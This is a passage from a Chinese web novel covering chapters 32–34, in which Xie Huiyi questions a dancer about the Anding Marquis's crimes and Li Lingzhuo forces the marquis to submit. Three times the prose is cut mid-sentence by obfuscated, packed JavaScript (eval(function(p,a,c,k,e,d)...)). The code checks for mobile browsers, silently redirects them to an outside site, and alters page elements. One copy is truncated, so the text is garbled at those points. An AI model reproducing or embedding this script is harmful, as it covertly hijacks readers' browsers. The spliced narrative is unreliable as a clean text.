“是。”舞姬心中忐忑不安,却还是乖顺地接过衣物,走到屏风后窸窸窣窣地换了起来。 “你什么时候来的定州?”谢晦已的声音从另一边传来,这会儿再次说起了青州话。 “两年前。”舞姬回答道。 “又是两年前,”谢晦已的声音顿了顿,尾音带着一抹嘲讽的轻笑,“你的家人也被青州案波及了吗?” 舞姬默然不语。 “我几日前听李大人说,钱夫人的兄长有意献上一名美人,那个人不是你吧?” 谢晦已似乎在闲话家常,语调轻松,“打发掉一个,又来一个,是应该说青州多美人,还是该说,侯府对青州美人情有独钟?” 舞姬欲言又止,终是保持了沉默。 “你家住在哪里?”谢晦已又问。 “弄福。”舞姬答道。 “哦,那倒是离我家不远,怪不得你能听懂我的话。你还有相识的人在侯府吗?” “没有。”舞姬说。 谢晦已笑了笑:“那你认识陶昕吗?” 舞姬浑身一颤,不顾衣带未束,绕过屏风,快步行至谢晦已面前。 “谢小姐说谁?”她瞪大了双眼。 谢晦已打量着她的神情,不答反问:“你把她藏了起来,自己却被抓到定州。你有没有后悔过?” 舞姬的嘴唇微微颤抖,一手死死攥着屏风,“你为什么认识陶昕?” 可仅仅是将这个问题说出口,她就意识到了什么。 下一刻,她顺着屏风瘫坐在地,绝望地捂住自己的嘴,泪珠断了线似的,落在她刚刚更换的衣裙上。 “陶昕也不在人世了吗?” 谢晦已缓缓起身,走到她面前蹲了下去,“她逃到了亲戚家里,但她从未暴露过山谷里的事情,所以并没有人追杀她。在这一点上,你们成功了。” “那她为什么没来寻我?” 舞姬转头看向谢晦已,恼怒而又压抑地啜泣着,“我们明明约定好了,她为什么不来救我?我等了她两年,哪怕是送封信过来呢?” 谢晦已静静地看着她,未发一词。 舞姬反应过来,赶忙跪伏在谢晦已脚边,低声哀求道:“谢小姐,求求您告诉我吧,您是唯一清楚来龙去脉的人了,我愿用我所知道的一切来交换。” “青州一案,安定侯府究竟涉足多深?”谢晦已面色平静。 舞姬迟疑地缩回了手,改为恭顺地跪在谢晦已面前,“谢小姐,安定侯并非唯一涉足青州案的人,定州府上下都有问题,只是……或许他们本人都没有意识到。” “哦?”谢晦已略显惊讶。 “青州案祸害了许多女子,那些资质上乘者,会被卖到天南海北。可定州瘦马一事,实际上是由安定侯牵头的。是他在不遗余力地培养我们。” 舞姬抬头看着她,缓缓道出原委。 “那些被送往定州各府的女子,实际上充当了侯爷的眼线,这也是为何侯爷景明元年才来定州,如今却能做到一手遮天。” 谢晦已不禁询问道:“那位钱夫人与你们是一样的出身,我听说她风头正盛,如今又是什么立场?” 听见这个名字,舞姬的眼中闪过一丝愤恨,“钱夫人绝非善类,她之所以得宠,是因为她愿意成为定安侯的活招牌,随侯爷四处拜访做客,供那些达官贵人享乐。她那个兄长也是伪造的身份,不过是替安定侯跑腿的,关键时刻能顶罪。 “钱夫人能说会道,常常哄着其他姐妹跳入火坑。更因为她是侯府宠妾,私下里,她会哄骗那些风尘女子买她编写的心得册子,教她们如何套牢男人的心。” 说到这里,舞姬又是一声咒骂,“那些可怜人做起了美梦,明明早就伤了根本,却被怂恿着,不顾身体安危也要借腹上位。册子是假的,必孕的方子也是假的,名贵的药材拐了八个弯,最终入的还是钱夫人的口袋,她当真是丧尽天良。” 听完舞姬的话,谢晦已依旧心有疑虑,“你如此恨他,今夜却依旧替他做事,可是有什么把柄被侯府捏着?你们所有人都有把柄在吗?” “自然是有的,”舞姬惨然一笑,眼眶瞬间红了,“起初是亲人的性命。我们那时年岁不大,又都很天真,以为只要听话,被抓到山谷的亲人就能平平安安。” 说着说着,她声音哽咽,指甲不觉间早已深深掐进掌心,“青州案传出来我们才知道,他们早就不在了。所以,安定侯改用画像来威胁我们,就是那种不着一丝的画像。 “不听话的人,夫家会收到这种东西,大街小巷也会贴上这种东西。况且这还不算完,安定侯向来主张物尽其用,他说我们死后也会是艳鬼,不去配冥婚实在可惜。与孤魂野鬼锁在一起,永世不得超生,再也见不到亲人……这对我们来说,比死还可怕。” 言及于此,似是紧绷着的那一根弦终于断了,她忽然掩面大哭起来,“谢小姐,我知道鬼神之说不可轻信,可是我好想他们,哪怕在黄泉路上见一面也好啊……” 谢晦已面色凝重,轻轻叹了口气:“若有法子,谁愿意屈于人下?难怪这一带冥婚成风,原来是有安定侯在背后默许。既能借冥婚敛财,又能用此事要挟你们,真是一箭双雕。” 她顿了顿,伸手轻拍舞姬的肩膀,斟酌着语气说:“我有件事要告诉你。” 舞姬神色怔忡地看着她。听完了陶昕的病情与结局,又听到了谢晦已的温言安抚: “陶昕很记挂你,苗蓝,她到死也不知晓你在定州。两年的惶惶度日,让她忧思过甚,心疾也愈发严重。她很愧疚,恨自己无用,恨自己走得太慢,恨自己病骨卧榻如囚鸟,更恨自己长睡不醒,但她从未放弃等你。” 谢晦已拨开苗蓝额前凌乱的发丝,对她轻轻说道:“出去后,你去看看她吧。她就在定州南面的山上,你抬头看得见的。” 苗蓝神情恍惚地抬起头。仿佛被抽空了知觉,她目光空洞地望向窗外,只喃喃重复: “定州南面的山……南面的山……” 随即,她将额头重重磕在地面上,每一下都震得地面轻响。 “多谢,多谢……” “你这是做什么?”谢晦已急忙将她拽起来,却被她一把推开。 “谢小姐能让陶昕入土为安,这份大恩,苗蓝纵使粉身碎骨也难以偿还。”她跪伏在地,像被抽走了所有力气,唯有肩膀仍在剧烈颤抖。 “谢小姐,求您留下我,我愿意成为您对付安定侯的棋子。就算是上刀山下火海,我也绝不会皱一下眉头。” 谢晦已再次伸手去扶她,觉察到她额头上的伤口后,改为掏出帕子为她轻轻擦拭,“你不怕安定侯捏着你的把柄了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“怎么回事?”安定侯神色狐疑地看向守在院内的仆从,又后知后觉地转头打量李灵濯的脸色。 李灵濯紧抿着唇一言不发,面上像是结了一层厚厚的冰霜。 其中一位仆从回话道:“侯爷,谢小姐方才带苗蓝进去更衣,期间似是打了起来。谢小姐特意吩咐过,有任何动静都不得入内,然而苗蓝的呼救声过于惨烈,于是我们打开了门。” 说到这里,他心有余悸地看了谢晦已一眼,“谢小姐当真下了死手,我们费了好大力气才将她们二人分开。” 一旁的妙青擦了擦泪水,“不知我做错了什么,才叫谢小姐如此记恨。” 她哀求似的看了安定侯一眼,随后朝着李灵濯的方向叩首道:“李大人,奴婢如今破了相,不敢奢求侍奉在侧,但奴婢手脚还算麻利,做个洒扫侍女绰绰有余,还望李大人收留。” “你!” 谢晦已怒极,一个箭步蹿到妙青身边,将她从地上提了起来,“你这个表里不一的东西,你敢算计我?” 方才席间被婉拒后,安定侯一直苦于没法在李灵濯身边安插棋子。如今事有转机,他当机立断道: “李大人,伶人本就以容貌为生,谢小姐为何要伤她立身之本?还请谢小姐给我们侯府一个交代。” 安定侯盘算着,这位谢小姐再如何得宠,现下也只是个没名分的。倘若陛下是不想伤了旧人的心,那么今夜她理亏在先,陛下半推半就收个美妾也没什么好说的。 李灵濯慢条斯理地转动着小指上的翡翠玉戒,刚光冷冽得像他的眼睛。 盯着谢晦已看了半晌,他忽然轻笑一声:“安定侯想要什么赔偿?难不成,是想让内子向侯府磕头谢罪吗?” 谢晦已眼皮一跳,不动声色地移开了目光。 安定侯闻言也是一愣,心霎时凉了半截。 果然,李灵濯下一刻便说起了今日之事。 “有一个自称是安定侯世子的,今日在定庙兴风作浪,还致使内子的友人生死未卜。内子无辜,郁郁寡欢许久,安定侯要如何向我交代?” 32. 昔日东宫 安定侯自诩征战沙场数十载、刀枪见惯的人,何曾如此憋屈过?纵是初来定州时,当地官员念着他圣眷优渥,也不敢不恭敬以待。 然而,不孝子苏历被李灵濯捏在手上,他不得不低头:“大人,微臣觉得许是有什么误会,还请大人给犬子一个辩白的机会。” “他辩白与否不重要。” 李灵濯分毫不让,“重要的是他恶名在外,却不受长辈管教。闯下大祸,尚有侯府善后。如今官府查案也要看你三分薄面,当真是安定侯的定州。 “既是你们侯府的一言堂,不妨由我上书京城,撤了定州知府的官职,叫你坐实安定王的位置,如何?” “微臣不敢!” 安定侯惶恐跪倒在地,“微臣虽已告老还乡,但微臣忠心无改,还望大人明鉴!” 李灵濯转过身,敛住了面上的怒意,冰冷一笑:“你是该跪我吗?” 闻言,安定侯浑身一僵,不可置信地抬起头。 饶是再如何不甘,他也只能恭顺地转向谢晦已,对她道了一句:“还望谢夫人恕罪。” 谢晦已被他喊得浑身不自在,只敷衍地摆了摆手,与李灵濯一唱一和道: “安定侯是两朝功臣,这一跪我担待不起。往日定州城如何,我毫不知情,可单论今日之事,安定侯打算如何赔偿温家,如何赔偿那位方姓姨娘?” 似是不够解气,她又转头看了一眼地上跪着的妙青,抬手指着她,不无羞辱地说: “还有她。既是安定侯有意献美,我也不好拂了侯爷的好意。你们侯府调教出来的伶人可真不简单,不是想做洒扫侍女吗?扫我们府中的茅厕也算洒扫吧?” 安定侯被她这几番话气得胸膛起伏不定,却还是强忍着说道:“明日一早,微臣定当亲自登门致歉。温小姐生死不明,侯府也会派人搜寻,还请谢夫人放心。” 可他话音未落,忽有一侍从穿廊跑来。 “侯爷!不好了!” 顾不得行礼,那仆从气喘吁吁地朝院子里喊道:“侯爷!温小姐的尸首找到了!她那个姨娘正坐在门外闹呢,这可如何是好!” 院中众人齐齐转头,除了安定侯本人。 他看也不看那仆从,只低骂了一声“没眼力的”。 等这群活阎王走了再来交代,自己怎么也能把温家人稳住。这个废物,偏偏挑这个时候前来汇报,真嫌自己命久了? 谢晦已离这仆从最近,听罢大骇,直接拽过她的衣袖,面色惨白地质问:“你们在哪里发现的?快说!” 仆从被她吓得一激灵,断断续续地交代道: “后、后山上。温小姐从山坡上滚了下去,一张脸都撞得……七零八落了。” 许是场面过于惊悚,她语塞了半天,“尸首放置在衙门,方姨娘由李小姐陪同着去辨认,当场哭得差点背过气,随后就、就来侯府讨要说法了。” 谢晦已闻言怒极,侧目剐了安定侯一眼,转身离了院子。 李灵濯侧头看向墨承,下巴微抬,“跟上去。” 话音未落,他又叮嘱了一句,“劝着些。” 墨承垂眸应命,余光似有若无地扫了安定侯一眼,转瞬便消失在回廊转角。 侯府七七八八的下人们也觉察不妙,对二人躬身行礼后,齐齐退出了庭院。 院内霎时间只剩余下李灵濯与安定侯两人。 月不见影,落针可闻。 眼见周遭再无闲杂人等,李灵濯走到安定侯身侧,从袖中摸索半天,摸出来一册卷宗,慢条斯理地在他眼前扇了扇,重重甩在地上。 他眼中的冷冽丝毫不减:“你自己看。” 安定侯迟疑地伸出手,将地上的册子摊开,一页一页翻阅。逐渐地,他脸上的血色缓缓褪去,再抬头时,眼中恐慌几乎按捺不住。 “苍天可鉴,微臣绝不可能做出此等通敌叛国之事!这张知府为何要攀咬微臣,微臣当真不明白!” “朕是不信,否则也不会给你自证的机会。张知府人头落地,死无对证。如今轮到安定侯,可知如何为朝廷分忧?” 言及此,李灵濯又是冷笑一声:“安定侯不会也想拿年岁辩驳吧?” 安定侯脑门上青筋直跳,思忖片刻后,他开口试探道: “张知府身殒中途一事,京中颇有非议。微臣知晓陛下是为八公主声誉考量,不愿公开自己的身份,但难免有掣肘之处。微臣愿做担保,那张知府是突发恶疾,而非陛下看管不力。” “安定侯,你莫非是上了年纪愈发昏聩了?一个童心未泯,一个头昏脑胀,想来是鸡同鸭讲,难怪教子无方。” 李灵濯深深地看了他一眼,“你们父子当真是一脉相承的蠢货。” 安定侯被骂得狗血喷头,却只能点头称是:“陛下息怒。微臣愚钝,还请陛下明示。” “朕在定州郊野购置了温泉庄子。” 李灵濯语气轻松,似是与他话起家常,“说来也是凑巧,朕与那些雇来的长工闲谈,谈及原籍,俱是定州本地人。细问他们来自何村,那住处说得五花八门,派人去查,却殊途同归,家家都在脚下。 “安定侯,朕等你的答复。” 李灵濯缓缓收回目光,随即转身离开。 安定侯六神无主地跪在地上,久久不敢吭声,待额头上的汗珠倏地滑落时,才回过神来。 望着李灵濯渐行渐远的背影,他忽而起身,对其大喊了一声: “陛下!” 李灵濯脚步一顿,却只是稍偏了头,似是等他下文。 “微臣侵占良田,致使农户流离失所,自知罪该万死。可犬子年幼,又是微臣的独苗,虽说做了不少坏事,但他尚有赤子之心,来日未必不能改邪归正,还望陛下留他一命。 “微臣知晓,陛下南下是为寻八公主。可青州案盘根错节,恐难绕开十年前的东宫旧案,微臣愿为陛下供出当年的证人所在,为陛下分忧。” 说罢,安定侯将头抵在地面,迟迟未敢起身。 “隆安十七年,废太子青州蓄兵,早就以谋反罪论处,安定侯此时提及旧案证人,是为何意?” 李灵濯压住眸光,眼底翻起不明的晦暗,“八公主如今已随朕北上,青州案主谋张知府也人头落地,青州案在青州已结,如今不过是追捕余孽,安定侯莫非是想替他翻案?” 他顿了顿,更进一步质问道:“还是说,当年东宫倒台,也有你这个禁军统领参与党争?” 安定侯再拜于地,直呼冤枉:“陛下,微臣效忠于盛朝,万万不敢犯下此等大罪。微臣不敢妄论天家,只是当年受先帝所托,抓捕京中兴风作浪之人时,意外追查到此人。 “她是青州那座私军工坊的守卫之女,姓曲,其父只是个不起眼的存在,当年朝廷只砍了其父的脑袋,她因外嫁女的身份而躲过一劫。微臣担心她日后会对朝廷不利,故而派人盯了许多年。” 李灵濯沉下眸光,冷声询问道:“她人在何处?” 眼见事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875709|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有转机,安定侯心中安稳不少:“她如今是温家的当家夫人。微臣完全没想到犬子能做出这样的事,意外开罪了温氏,还请陛下责罚。” “能叫你费心看管至今,曲夫人定是知道什么。可既是心有疑虑,你当年为何不为东宫申冤?” 李灵濯语气平静,仿若随口一问,但言语之中的猜忌却毫不遮掩。 安定侯跪伏在地,恭顺答道:“微臣……并非毫无私心。当年废太子对微臣确有知遇之恩,见他蒙冤,臣心中不忍,便想留着曲夫人这条线索,盼着将来能为他说句公道话。 “但废太子谋反板上钉钉,如今故人已逝,早已是一捧黄土。况且先帝圣明,微臣心中只有敬仰,绝无异议。微臣今时搬出曲夫人,是为效忠于陛下,更是为交出微臣与旧案的牵连,倘若存心谋逆,定不会主动交出如此把柄,招致陛下猜忌。” 安定侯这套说辞情真意切,让李灵濯不禁想起往年时光。 想着想着,作为征战娄厥的亲历者,他心中只有一声冷笑。 不过,似是接纳了他的忠臣之心,对其向来深信不疑,李灵濯再开口时,已然换了一副语气: “苏爱卿快请起,你膝上有伤,何必行此大礼。朕不过是随口一问,只是事关重大,又时隔多年,这位曲夫人未必能轻易开口。” 见李灵濯伸手虚抬,安定侯起身后又赶忙答道:“微臣有法子叫曲夫人开口。她亲生的温大公子在国丧时养了外室,如今那孙儿还未满周岁,这是板上钉钉的罪责,陛下以此威胁,她想不开口也难。” “安定侯果真是为国分忧。” 李灵濯定定地看着他,神情晦暗莫测,“如此想来,张知府供出的这份通敌书信,倒也不见得为真了。” “事关盛朝根基,微臣恨不得鞠躬尽瘁。”安定侯严肃道。 李灵濯缄默不语,从他手中抽走那张按了指印的供词,当着他的面将东西撕了个干净。 “记住你自己说过的话。” *** “安定侯世子苏历,强抢民女,草菅人命,害死我女儿,我定要为她讨个公道!” 方姨娘腰背挺得笔直,身后乌泱泱堆着看热闹的百姓,把护卫挤得险些握不住长枪。 苏历被素秉五花大绑地丢在侯府门外,众目睽睽之下,他堵着嘴什么话都说不得,急得直眨眼睛,示意仆从们快来给他松绑。 然而素秉一刀横架手中,凶神恶煞的模样,更兼是李灵濯身边的人,那几名护卫根本不敢造次。 “早知你在这,我便守在主子身边了。” 墨承脚步一顿,停留在素秉身侧,与他一左一右做起了侯府的门神。 素秉面不改色地哈哈一笑:“谢主子勒令下车,岂敢不来?” “主子方才吩咐过,令我劝着些,”墨承磨着刀柄,咂摸了半天,“是叫我劝什么?劝谢小姐莫生气?还是劝她收敛些?” “见机行事吧,总不能干杵在这,看管这个傻子。” 素秉垂下头,刚好对上苏历拽着自己衣角的哀求目光。 “而且我觉得,”他心中一片恶寒,慌忙抬脚将人从自己身边踹开,“多半是劝侯府识相些。” 刚踢完,素秉猛地想起自己还身负重任,于是又牵着绳子,默默把苏历拽了回来。 墨承目睹了全程,这会儿仿佛看傻子一样看着他,“我确实能干杵在这,盯着一个傻子。” 他又用胳膊肘碰了碰他,“你干脆,也叫苏秉?” 33. 流言蜚语 就在这时,温家人也套了马车赶来安定侯府。 “知儿,你这是做什么?” 不等车停,温家老爷的脑袋就从车窗里探了出来。老远就听见这边闹哄哄的,他心急如焚,恨不得生出一丈长的腿来,两步赶至侯府门前。 “老爷!” 方姨娘一抹泪水,直接跪倒在车辕前,“老爷,安定侯世子害死了若儿啊!” “我晓得,我晓得,你先莫哭嘛。” 温老爷哀叹一声,亲自伸手将她从地上拉了起来,却在她耳边低声道: “今日之事算若儿倒霉,倘若不是她非要去定庙,也摊不上这种事。我们温家退让一步,别给侯府难堪,两家之间留个颜面在,安定侯也不是毫不讲理的人。” “老爷,若儿是你的女儿啊!” 方姨娘瞬间呆住,泪水也跟着在眼眶里打转,“你不管她?” “说的什么话?你以为我心里就舒坦吗!” 温老爷似是有些挂不住面子,一股脑地斥责道:“你也不想想,温家经得起这般折腾吗?是,我们温家是赔了一个女儿,可此事也不能完全说是若儿无错吧?要不是她非去定庙拜鱼仙,哪里会断送一条命? “唐家是好说话的,那婚约也不是不能作废,侯府门第那么高,若能攀上个亲戚,也算是抬举我们温家。要我看,当初你就不该拦着我,非不让若儿去他家做妾。” 方姨娘气得胸口起伏不定:“老爷,您是想让女儿去做妾?定州城里哪户体面人家,会让女儿去做妾?” 温老爷索性讲话摊开说:“做妾就不体面了?那你是什么?你们方家又是什么?” 方姨娘沉默不语,眼底却忽然闪过一抹恨意。 温老爷也觉得面上无光,赶忙拉扯她,“快回去!少在这丢人现眼。” 方姨娘却照旧站在原地,并与他僵持起来。 “老爷,此事已经被我闹大了。就这样算了,你叫外面的人如何看待温家?我的女儿不能白死,我也不想做一个缩头乌龟!” “莽妇!无知的蠢货!” 温老爷攥住她的胳膊,意欲将她拖回马车,“我再问你一遍,到底回不回去!” “我不回去!我要为若儿讨回公道!” 方姨娘甩开他,双脚仿佛钉死在地面上,一动也不动。 站在她身侧的李兰畹刚想开口劝一劝,转头就看见谢晦已走了出来。 宛如找到了主心骨,李兰畹赶忙对她招了招手。 “姐姐。兄长那边?”她使了个眼色。 谢晦已深深一颔首,随后对那妄图息事宁人的温老爷说道:“别急着走啊,想来这位便是温家伯父吧?” 温老爷转身上下打量她。 谢晦已身上穿的虽是素净的茶白衣裙,却是千金难买一寸的耦绣。拖曳的裙摆上大朵的山茶花层叠深浅有序,虽是死物,却在她的步履间流转月华,柔软的针脚隐隐泛着玉色。花瓣露珠如有实质,仔细一瞧,正是妄海出产的鲛珠。 这般好的绣娘,怕是整个江南也寻不出五位,更不要提这布料工序繁杂,一年也未必能织出几匹。 温家本来就是做布料生意的,温老爷瞬间敛住原本不耐烦的神色,转而换上了一副恭敬的态度。 “不敢当谢小姐的这一声伯父。今日小女承蒙谢小姐关照,多谢谢小姐在定庙替小女仗义执言,我这个做父亲的实在羞愧难当。” 谢晦已深深地看了他一眼,在这一瞬间想到了她那个好爹。 一样的冷血,一样的虚伪。 这两人若是碰上面,想来定会一见如故,再温一碗好酒,直呼兄弟情深相见恨晚。 这样想着,谢晦已嘴角抽了抽,随后却道:“不过是同为女子,看她遭受无妄之灾,我总会觉得同病相怜。哪里比得上温伯父思女心切,急着回府。” 温老爷忽略了她明晃晃的嘲讽,又恭维道:“谢小姐心善,鱼仙定会保佑谢小姐万事顺遂,心想事成。” “事成与否,还望温伯父配合才是。” 谢晦已抬眸一笑:“我想再问一次温伯父,温家不打算插手此事,也不打算追责苏小侯爷,对吗?” 众目睽睽之下,温老爷郑重说道:“是。温家过分疼爱这个女儿,以致她生出了骄纵的性子,今日实在是给侯府与谢小姐添乱了。” 此言一出,看热闹的诸多百姓纷纷表达不满。 “自家死了女儿啊,就这样算了?死的是不是亲生的女儿啊?” “哎哟,往日总听他们家生意做得好,不会都是靠卖女儿换来的吧?” “难说啊,当爹都这样冷血了,谁知道他能不能拿老主顾当回事啊?铺子里的货物能有好东西?” 温家主脸色异彩纷呈,可他并没有辩驳一句,而是扯着方姨娘落荒而逃。 “诸位,请听我一言。” 谢晦已轻咳一声,在群情激奋之时,将他们的注意力转移到自己身上。 “我是已故温小姐的友人,名为谢晦已,除去方姨娘外,这番话或许由我来转达较为合适。 “我知晓大家是想为温小姐打抱不平,可也请大家不要再妄论她的过往,质疑她的血脉,质疑她的婚嫁。 “逝者已逝,她又死于纨绔逼迫,请诸位念在她尸骨未寒,姨娘求告无门的份上,不要再以恶意涂黑她的声誉,从流言蜚语中窥探她的行事。” 众人先是一阵沉默,而后有人开口道: “这是自然。” “可怜人啊,过世了就让她的耳朵清静些吧。” 亦有反对之言:“谢小姐这话难听。怎么能叫恶意呢?我们有所怀疑,也是给官府一个调查方向吧?死因有疑,真相大白,我们才是真正替死者说话的人!” “对啊对啊!这话真让人心寒,你分明是想堵住我们的嘴吧?你莫非跟侯府是一伙的!” 在两拨人争论时,人群中又有人忽然反应过来: “姓谢?那位南下的指挥使大人不就带了一个女人过来?好像就是她啊!” “那她算什么?算官府的人吗?官府的人还替侯府说话,这是指挥使大人默许的吗?” 谢晦已闻言顿了顿,转头对他们客客气气地说道: “我今日拜访侯府也是为温小姐而来。安定侯方才承诺于我,会给温家一个交代。我只是一介弱女子,无法动摇官府的决议,可我心中的愤怒与方姨娘不相上下,我绝不会允许此事不了了之。” 言及此,她抬手指向苏历,“请诸位给我做个见证,讨回公道之前,我绝不会放这祸害回侯府。” 苏历惊恐地“呜呜”几声,又被素秉嫌恶地敲了一下脑袋,“祸害在此!” 墨承配合地板着脸:“绝不轻饶!” 李兰畹也振臂高呼:“讨回公道!” 谢晦已嘴角微微一抽,随后颇有气势地喊道: “以正律条!” 但她心中不禁悱恻道:不是要扮演正道的人吗?怎么他们四个越来越像江湖悍匪了? 人群之中又是一阵议论纷纷。 “哎,我看温家不像是要报官的,温小姐这事有人盯着也是好事。” “就怕这位谢小姐过几日忽然说不追究了,那才有意思呢。” “是啊,侯府收买人心也不是一次两次了,对温家来说,这温小姐无论如何都死得不亏啊。这谢小姐也能趁机大赚一笔,谁知道她安的什么心。” “苏小侯爷才倒霉好吗?人没拿下,还倒贴一笔钱财。钱都花了,好歹也真的风流一次啊……” “啪”的一声,紧接着,说这话的男子忽然摔翻在地。 众人惊得让出一片空地,转头敬畏地打量刚刚收回手的谢晦已。 “这么喜欢有权势的,你怎么不给自己洗干净了送进去?” 谢晦已可以对那些恶评充耳不闻,却容不得他们对温若水造谣侮辱。正如她此时正厌恶地擦拭着手,下一刻又一脚踩在他的脑袋上。 “忘了自报家门,我是有诰命在身的官家夫人。你非议在先,被我管教,是你的荣幸。” 她面不改色地说完这番话后,忽然吹了一声口哨。 陪伴她一路的小灰马嘶鸣一声,趾高气昂地蹦了出来。 “小灰,慢着些,我抓不住你了!” 也不知是有意还是无意,谢晦已抓了数次缰绳都没有抓住,引得小灰在这男子眼前反复跳跃,马蹄撒起欢来,有好几次险些踩中他的脑袋。 那男子吓得一动也不敢动,整张油腻的脸都皱在一块,“谢小姐!谢夫人!谢祖宗,快快快,快停下啊!” “是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875710|176309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该停下吗?”谢晦已厉声询问。 男子赶忙跪伏在地,狠狠地扇自己巴掌,“小的有错!是小的有眼不识泰山,不该诋毁温小姐!求谢祖宗饶我一命啊!” “小灰不通人性,这位郎君可别跟它计较。” 谢晦已嘻嘻一笑,而后一把揽住缰绳翻身上马。高坐在马背上,她又巡视一周,波澜不惊地说道: “年关将近,鱼仙已至,还望诸位,少造口业。” “是。” 围观百姓大气不敢出,谁也没料到这位谢夫人看着和和气气的,却是个硬脾气。 谢晦已随即看向李兰畹:“去办点严肃的事,你随你兄长走,还是随我出去一趟?” 思忖片刻后,她又补充了一句:“是真的很严肃的事。” 人群中看热闹的李兰畹呆呆一愣,而后回过神来。 这还需要犹豫吗?她才不要跟兄长大眼瞪小眼! 于是,她高举双手:“我选姐姐!” “上来。”谢晦已对她招了招手。 “好嘞!”李兰畹坐在她身后,紧紧地揽住了她的腰身。 直到这时,她才后知后觉地问道:“姐姐,外面这样黑了,我们要去哪啊?” “先去官府,给人下葬。” “什么?” 李兰畹似是怀疑自己的耳朵,又似是怀疑自己的记忆。 葬什么?是不是风声太大,她听岔了? 今日下午姐姐不是给方姨娘她们交代过吗?那具假扮温若水的尸体制作需要时间,布料需要细心缝制,填充的棉花也是特殊的,恐怕要等晚上才能用上。 况且天黑了光线也暗,仵作观察有限,粗略一看是分辨不清真假的。 所以,姐姐今晚要给谁下葬? “姐姐,今天有人过世吗?” 话刚说出口,李兰畹心中又涌起一阵剧烈的寒意。 不对啊,她方才陪同方姨娘做戏,还真的去了一趟官府呢。方姨娘伤心欲绝不敢查看,只粗略地认了一下胎记,她可是实实在在地瞧了一眼,仵作还当着她的面,剖开尸腹检验了。 难不成……? 李兰畹觉察到什么,后颈一凉,下意识地闭上了嘴。 *** 关照完那具尸体,看着谢晦已铲平最后一捧土,李兰畹觉得自己的腿肚子都在发抖。 她是不怕尸体,可是她后悔跟着去了。 姐姐也没告诉过自己,那具无脸女尸要由自己背着啊! 李兰畹魂不守舍,腿肚子一直抖到家门前,下了马后,连抬头看一眼新庄子的兴致都丧失了。 闭上眼,仿佛那股味道还在自己身上。 “你们去了哪里?” 望妻石一般的李灵濯候在大门外,颇为不满地扫了一眼她们二人,“今夜这般不太平,你们也不带个暗卫去?” 谢晦已笑而不语,一旁的李兰畹也像没听见他的话,一路飘进了门。 李灵濯伸手拦下她,颇为疑惑地低头问道:“她是哑巴,你也是吗?” 李兰畹归心似箭,头一次觉得李灵濯没什么可怕的,甚至还有点碍事。 “是。”她语气平静地答道,随后身子一矮,从他胳膊下面钻了过去。 李灵濯面上一愣,这回是真的疑惑不解了。 于是,他转头看向谢晦已,“她怎么了?魂不守舍的,被温小姐那件事吓傻了?” 谢晦已自知理亏,挠了挠头道:“是,我今夜打算搬去与她同住,好生安慰一番。” 李灵濯闻言顿觉自己多嘴,紧抿着唇不说话了。 看见他的神色变化,谢晦已心里不禁感叹一句,这碗水想端平真是有点难度。 “李大人善解人意,今夜又事出有因,你做兄长的,让一让兰畹也无妨吧?” 她挽着他胳膊好言哄道:“上半夜我守着她,下半夜我便回来,如何?” 李灵濯面色稍霁,却阴阳怪气地说道:“我哪里敢折腾谢小姐?左右我这里也没什么事,况且夜露深重,你染上风寒怎么办?” 顿了顿,似是担心谢晦已听不懂自己的抱怨,真被自己气走了,他深吸一口气,换了个人似的妥协道: “行吧,我去接你,晚一刻钟也不行。” 谢晦已:“啊?” 34. 论心论迹 用早膳时,谢晦已撂下碗筷,认认真真地问起安定侯的事。 “瞧安定侯昨夜对你还算恭敬,莫非你早有他的把柄?” 毕竟是两朝功臣,她虽不甚了解他们朝堂上的派系纷争,却也明白如此战功赫赫之人,倒也不必事事待李灵濯如此恭敬。 她昨夜忽然想起,她粗略翻阅过李隐的过去。隆安二十二年,他随当今圣上征战娄厥,而安定侯也在娄厥立过功。他们二人既是并肩作战过,没道理是这样剑拔弩张的关系。 如此说来,李灵濯昨夜替自己出面后,安定侯待他是那般恭顺的态度,就十分耐人寻味了。 李灵濯眼皮一抬,随即波澜不惊地沉下绿眸。 “是,原本我也打算处理他的。安定侯景明元年退居定州,而同年青州便涌现大量流民,永州的商户亦有所增加,实在异常。我派人调查了,果真是侵占良田。” “元年……” 谢晦已手指轻轻敲着桌沿,片刻后开口询问道:“盯着青州这些年的动向,是于夫子替你做的?” 李灵濯惊讶地看她,“怎么会这样说?” “她是京城人,又与你是故交,不知为何留居青州,你一来她便随你一同北上,瞧着便是任务完成的样子。” 谢晦已的眼睛明亮见底,黑白分明,像极了囊括黎明的鲛珠。 “我思来想去,刘知府是你后安排进去的,你确实缺一个青州的内应。她学识太渊博了,连青州案都分析得头头是道,你不觉得留她在青州实在屈才吗?” 她当真是过分敏锐。 李灵濯缓缓勾唇一笑,随即伸手替她添了半碗粥。“她从前是耦州名门大族的侍女,随主家的大小姐一同读书,学识与眼界自然不同寻常。” “耦州名门?”谢晦已迷茫地眯起双眼。 “耦州文氏,你可曾听说过?”李灵濯说道。 不知为何,谢晦已一听见这四个字,心口就开始隐隐作痛。 